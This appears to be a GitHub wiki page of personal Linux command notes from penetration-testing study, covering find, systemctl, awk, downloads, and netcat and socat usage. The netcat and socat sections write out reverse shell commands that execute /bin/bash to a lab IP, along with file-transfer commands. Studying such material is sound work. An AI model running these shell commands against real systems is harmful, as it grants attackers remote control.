Home - pcsprau-snl/myPublicRepo GitHub Wiki

Welcome to the myPublicRepo wiki!

making directories all at one time

mkdir -p test/{dir1,dir2,dir3}

find command

find files that have been modified in the last 24 hours,not owned by root, and do an ls -l on them note: mtime: File's data was last modified n*24 hours ago.

find / -mtime -1 ! -user root -exec ls -l {} \;

Turning system services on/off

sudo systemctl start ssh Turn it on once

sudo systemctl enable ssh Enable for all time

sudo ss -antlp | grep sshd See if it is running. ss means socket statistics all, numeric, tcp, listening, process

Reverse search

Do a ctrl-R and type in search string. To find the next one, do ctrl-R again.

Redirecting stderr

ls junk 2>error.txt

Tools: grep, sed, cut, awk

Using /etc/passwd, extract the user and home directory fields for all users for which the shell is set to /bin/false. Use awk to format the results

cat passwd | cut -d ":" -f1,6,7 | grep "/bin/false" | awk -F ":" '{print "The user " $1 " directory is" $2 }'

Options for diff

  • -c: context format
  • -u: unified format
  • -y: side-by-side
  • (also vimdiff)

watch command

watch -n 5 w run the w command (users) every 5 seconds

Downloading files: wget, curl, axel

wget: downloads files using http & ftp protocols

wget -O localFileName https://www.offensive-security.com/reports/....

curl: transfer data to/from a service using many different protocols

curl -o localFilename https://www.offensive-security.com/reports/...

axel: download accelerator transfers files from ftp or http server thru multiple connections. -n specifies number of connections to use. -a means concise

axel -a -n 20 -o localFilename https://www.offensive-security.com/reports...

Netcat

nc -nlvp 4444 Set up a listener on one side

nc -nv 10.11.1.22 4444 Connect to the listener on the other side "This is a chat"

transferring files:

nc -nvlp 4444 > incoming.exe Set up listener and redirect to a file

nc -nlvp 10.11.1.22 4444 < filename Connect to listener and send the file

Setting up a reverse shell using netcat

nc -nvlp 4444 Setup a listener

nc -nv 10.11.1.22 4444 -e /bin/bash Send a shell to the listener

socat example for transferring files between machines

sudo socat TCP4-LISTEN:443,fork file:secret.txt share file on port 443, ipv4 listener, fork a child process, specify file name

socat TCP4:10.11.1.22:443 file:received.txt,create connect to ip using ipv4, create and save local file

socat example for setting up a reverse shell

socat -d -d TCP4-LISTEN:443 STDOUT Start a listener with verbosity, connect STDOUT to the socket

socat TCP4:10.11.1.22:443 EXEC:/bin/bash Send exec option to execute bash once connection is made

Mounting

The issue is caused by different versions of nfs, here v4 and v3.

As far as I have figured out, version 4 has the option to automatically re-set the permissions so one can use the mounted directory as-is and without permission issues. However, this is not always allowed.

In such a case the mounting will be done with the nobody user, so no one can access those private files.

Try mounting with the additional option:

Code:

sudo mount -t nfs -o nolock,nfsvers=3 10.11.1.72:/home /tmp/home/